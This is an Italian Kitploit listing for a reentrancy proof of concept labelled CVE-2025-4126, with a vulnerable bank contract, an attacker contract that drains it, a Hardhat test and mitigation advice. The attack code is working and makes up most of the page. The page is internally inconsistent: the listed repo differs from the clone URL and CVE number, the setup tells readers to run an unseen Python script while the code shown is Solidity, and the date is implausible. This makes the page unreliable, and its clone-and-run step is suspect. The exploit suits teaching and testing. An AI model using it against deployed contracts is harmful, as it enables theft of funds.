Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-4126 — POC di vulnerabilità da attacco reentrancy su smart contract | Kitploit
Strumenti/GitHubGitHub/slow-mist/cve-2025-4126
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebApprendimento e FormazioneLab e Pratica
GitHubslow-mist/cve-2025-4126

CVE-2025-4126

POC di vulnerabilità da attacco reentrancy su smart contract

Vedi Repository
11 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

POC-CVE-2025-4126

Verifica della vulnerabilità di attacco di rientranza negli smart contract

PoC di attacco di rientranza negli smart contract

Questo repository contiene una Proof of Concept (PoC) che dimostra una vulnerabilità di attacco di rientranza negli smart contract Ethereum. La PoC include uno smart contract vulnerabile, un contratto attaccante e istruzioni per riprodurre l'attacco in un ambiente di test locale.

Indice dei contenuti

  • Panoramica
  • Descrizione della vulnerabilità
  • Configurazione della PoC
  • Esecuzione della PoC
  • Licenza

Panoramica

La rientranza è una vulnerabilità comune negli smart contract Ethereum in cui un contratto esterno può effettuare chiamate ripetute al contratto originale prima che la prima chiamata sia completata, potenzialmente drenando fondi o manipolando lo stato. Questa PoC dimostra come un attaccante può sfruttare un contratto vulnerabile per rubare Ether.

Descrizione della vulnerabilità

Il contratto vulnerabile (VulnerableBank) consente agli utenti di depositare e prelevare Ether. Tuttavia, non gestisce correttamente gli aggiornamenti di stato prima di effettuare chiamate esterne, rendendolo suscettibile alla rientranza. Il contratto attaccante (Attacker) sfrutta questa vulnerabilità chiamando ricorsivamente la funzione withdraw per drenare il saldo Ether del contratto.

Problema chiave

  • La funzione withdraw in VulnerableBank invia Ether al chiamante prima di aggiornare il saldo dell'utente.
  • Questo consente al contratto dell'attaccante di chiamare nuovamente withdraw nella sua funzione fallback, drenando i fondi del contratto.

Configurazione della PoC

Per eseguire questa PoC, hai bisogno di:

  • python3.x
  • pip3

Installazione ed esecuzione

  1. Clona questo repository:
    root@kitploit:~
    git clone https://github.com/Layer1-Artist/POC-CVE-2025-48621.git
    cd POC-CVE-2025-48621
    
  2. esegui:
    root@kitploit:~
    python3 poc.py
    

Codice della PoC

Di seguito sono riportati i due contratti utilizzati in questa PoC:

VulnerableBank.sol

Questo contratto simula una semplice banca che consente depositi e prelievi ma è vulnerabile alla rientranza.

root@kitploit:~
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance to withdraw");

        // Vulnerable: External call before state update
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        // State update after external call
        balances[msg.sender] = 0;
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Attacker.sol

Questo contratto sfrutta la vulnerabilità di rientranza chiamando ricorsivamente la funzione withdraw.

root@kitploit:~
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attacker {
    VulnerableBank public vulnerableBank;
    uint256 public constant WITHDRAW_AMOUNT = 1 ether;

    constructor(address _vulnerableBankAddress) {
        vulnerableBank = VulnerableBank(_vulnerableBankAddress);
    }

    // Initiate the attack
    function attack() external payable {
        require(msg.value >= WITHDRAW_AMOUNT, "Need at least 1 Ether to attack");
        vulnerableBank.deposit{value: WITHDRAW_AMOUNT}();
        vulnerableBank.withdraw();
    }

    // Fallback function to recursively call withdraw
    receive() external payable {
        if (address(vulnerableBank).balance >= WITHDRAW_AMOUNT) {
            vulnerableBank.withdraw();
        }
    }

    // Withdraw stolen Ether to attacker's address
    function withdrawFunds() external {
        payable(msg.sender).transfer(address(this).balance);
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Script di test Hardhat

È incluso uno script di test Hardhat per automatizzare la simulazione dell'attacco.

root@kitploit:~
const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("Reentrancy Attack PoC", function () {
  let vulnerableBank, attacker, owner, attackerAddr;

  beforeEach(async function () {
    // Deploy VulnerableBank
    const VulnerableBank = await ethers.getContractFactory("VulnerableBank");
    vulnerableBank = await VulnerableBank.deploy();
    await vulnerableBank.deployed();

    // Deploy Attacker
    const Attacker = await ethers.getContractFactory("Attacker");
    [owner, attackerAddr] = await ethers.getSigners();
    attacker = await Attacker.deploy(vulnerableBank.address);
    await attacker.deployed();

    // Fund VulnerableBank with 10 Ether
    await owner.sendTransaction({
      to: vulnerableBank.address,
      value: ethers.utils.parseEther("10"),
    });
  });

  it("should drain VulnerableBank via reentrancy", async function () {
    // Initial balances
    const initialBankBalance = await vulnerableBank.getBalance();
    console.log(`Initial Bank Balance: ${ethers.utils.formatEther(initialBankBalance)} ETH`);

    // Execute attack with 1 Ether
    await attacker.connect(attackerAddr).attack({ value: ethers.utils.parseEther("1") });

    // Check final balances
    const finalBankBalance = await vulnerableBank.getBalance();
    const attackerBalance = await attacker.getBalance();
    console.log(`Final Bank Balance: ${ethers.utils.formatEther(finalBankBalance)} ETH`);
    console.log(`Attacker Balance: ${ethers.utils.formatEther(attackerBalance)} ETH`);

    expect(finalBankBalance).to.equal(0, "Bank should be drained");
    expect(attackerBalance).to.be.above(0, "Attacker should have stolen funds");
  });
});

Output atteso

  • Saldo bancario iniziale: 10 ETH
  • Saldo bancario finale: 0 ETH
  • Saldo dell'attaccante: ~10 ETH (meno le commissioni di gas)

Mitigazione

Per prevenire gli attacchi di rientranza, considera le seguenti buone pratiche:

  1. Pattern Checks-Effects-Interactions: aggiorna lo stato (es. saldi) prima di effettuare chiamate esterne.
  2. Guardia di rientranza: usa un modificatore (es. ReentrancyGuard di OpenZeppelin) per prevenire chiamate ricorsive.
  3. Limita il gas: limita il gas inoltrato alle chiamate esterne per prevenire logiche di rientranza complesse.
  4. Usa transfer o send: questi metodi limitano il gas, riducendo il rischio di rientranza.

Esempio di correzione per VulnerableBank.sol

root@kitploit:~
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SecureBank is ReentrancyGuard {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public nonReentrant {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance to withdraw");

        // Update state first
        balances[msg.sender] = 0;

        // Then make external call
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Licenza

Questo progetto è concesso in licenza sotto la MIT License - consulta il file LICENSE per i dettagli.

Scarica lo strumento